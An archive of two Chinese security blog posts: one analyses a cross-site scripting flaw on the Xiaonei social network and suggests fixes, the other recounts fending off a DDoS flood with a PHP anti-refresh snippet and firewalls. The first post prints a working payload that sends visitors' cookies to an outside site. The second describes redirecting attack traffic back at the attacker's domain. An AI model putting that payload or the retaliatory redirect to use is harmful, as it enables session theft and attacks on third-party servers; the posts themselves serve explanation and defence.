Archive for the ‘网络安全’ Category

偶然搜索到一篇别人对我的分析

全文如下:
现在校内网出现了一个跨站漏洞,当用户在访问一些日志的时候,日志或者分享或者其他的资料就被修改了。

而 事实上,只要他们原因,可以做任何事情,因为他们获取到了你的cookie。

问题原因:

从一篇有问题的日志发现如下的代码:

《img src='

javascript:a

lert('hacked

by Sroan');wi

ndow.locatio

n.href='http

://www.33iq.c

n/xiaonei.ph

p?cookie='+do

cument.cookie

'》

这个应该是经过处理了,中间已经没有了分号,如果给src添加上分号,然后使用html_entity_decode解码之后就是:
javascript:alert('hacked by Sroan');window.location.href='

http://www.33iq.cn/xiaonei.php?cookie='+document.cookie

很明白了, 实际上就是Sroan利用在img的src中执行javascript中的特性,执行了一段javascript代码,而这段代码会将你的cookie提交到33iq.cn这个网站,然后他们就可以使用你的cookie去做一些事情了,获取你的个人资料,修改你的日志,修改你的个人资料 等等。

很可怕,哈哈。

解决方法:

1. 最重要的当然是过滤个人提交的日志的内容了, 牢记一切输入都是有害的。

2. 可以在cookie中添加IP的信息,在校验cookie的时候,如果IP不正确,则需要用户重新登录。

第一种方法都在使用,但是具体到什么程度,是不是有bug就很难说了,而校内的问题就在这儿了。

第二种方法使用的应该比较少。

当然,理论上,如果直接src等于上面那些东西也不会有问题的,问题是你在处理的时候将那些代码不明地decode了,并显示了出来,问题就来了。

一次抵御DDOS攻击经历

我预料到了大盘的下挫,但是没有预料到网站会遭受如此强的DDOS攻击,第一次在攻与防的世界中,站在防的一端。这两天和服务器的管理员都聊成了朋友了,疲惫不堪,眼睛都绿了。如果你有耐心看完这篇文章,绝对胜过你在信安实验室呆一周,因为这是一次实实在在的防御! 先说下服务器情况,WIN2000+IIS,无贷款限制,无IIS连接限制,酷睿CPU,CPU上线6%。网站结构基本纯静态HTML+少量PHP。由于CPU有上限,当CPU超负荷工作后,网站就瘫痪掉。
攻击者买了一个域名(我查过域名历史,攻击者买了这个域名后就来攻击我),让所有肉鸡攻访问该域名上的一个网页,该网页的代码很简单。就四个iframe,就是四次对我的网站发送HTTP请求,说得通俗点,就是每个肉鸡刷新4次网页。从凌晨3点多开始攻击,到了我起来的时候9点多就瘫痪了。
这个攻击方式最不好的一个地方,暴露了攻击者的转向域名,因为利用iframe转向,get数据包里会有reffer记录,会指向改转向域名的。寻找服务商的客服,结果是他们也没有办法(其实他们也没想到后来会有多严重)
既然知道对方的转向域名以及攻击方式,我把我的网站的郁闷转向到攻击域名上,也就是说攻击者发送的数据包到我的域名上,我再转给了攻击者,当然这样我的网站也是访问不了,不过攻击者的转向域名的服务器也很快瘫痪了。
我又把域名解析回来,又恢复正常了。不过攻击又改变了攻击策略。重新写了攻击代码,代码如下











这次攻击者更高级了,直接发送GET数据包。为了对付防火墙的过滤方式,攻击者还加上了随机数,用来逃过防火墙的防御。网站又一次瘫痪。客服打电话给我,说我的网站占用资源超高,已经影响到气他用户了,寻求解决。

仔细分析攻击代码,认为这个就是变相的CC攻击,可以通过代码防止攻击者的不断恶意刷新。
找了一个session的防CC代码
session_start();
$allow_sep = "30000";
if (isset($_SESSION["post_sep"]))
{
if (time() - $_SESSION["post_sep"] < $allow_sep)
{
exit("请不要反复刷新");
}
else
{
$_SESSION["post_sep"] = time();
}
}
else
{
$_SESSION["post_sep"] = time();
}
结果其他网站是没有问题了,攻击数据太高,根本无法分辨合理数据还是非合理数据。即使是短时相应,CPU很快就占满了,还是瘫痪了。

没有物理防火墙,这个基本是无法档的住的。最有压迫客服装上物理防火墙。

是不是很寒了,社会就是这样,你不去要求他,他绝对不会为你多做一些事。
我估计他们装的物理防火墙也就是几千块的,档了一刻钟后,服务器还是瘫痪了。

主席说 与人斗其乐无穷
接下去就是我不断改域名转向躲避攻击 攻击者不断改攻击地址
也就网站时好是坏

在网站停运的时候,
有网友骂我是攻击者,(世界就是这么荒唐)
有网友支持我直面攻击。

我也不知道昨天是怎么睡着的,我可以什么都不在乎,但是我的计算机和网站是我最在乎的东西之一。

第二天,和服务商商量,使用更强悍的物理防火墙,但是服务器要转移,原来数据库MYSQL4.0,新的服务器的数据室MYSQL5.0,客服说让我自己来解决,事实上客服也不知道怎么解决。MYSQL4.0转到MYSQL5.0最关键的地方除了部分格式命令不一样外,4.0中的中文到了5.0上就变成乱码了。

第一次数据备份后果然是这个原因。由于数据库是乱码,网站打开超慢。
设置编码备份,
gbk utf-8 gb2331
试了一个又一个都失败。
最后试了latin1编码,竟然乱码正常了!
我想说 latin1 我爱你……

但是网站依旧不正常,查找代码中数据连接设置,把GBK改成了latin1,刷新了几十次后正常了(缓存害的)

小心翼翼把域名解析过来,看着万兆防火墙抵御万兆DDOS攻击。攻击数据包都被扔了。

凤凰涅槃,死而复生!网站正常了!

很好奇,攻击者还会持续几天无用攻击,其实我很想告诉攻击者,一次DDOS攻击罚款5000+,最高可以判刑5年,出来混迟早要还的。

两只眼睛都块睁不开了,或许今晚能够睡个好觉。下午什么如何填简历的讲座也没去,据说腾讯百度要来了。我这想说,暑假我哪都不会去,我只会在上海。

3Q 4 your reading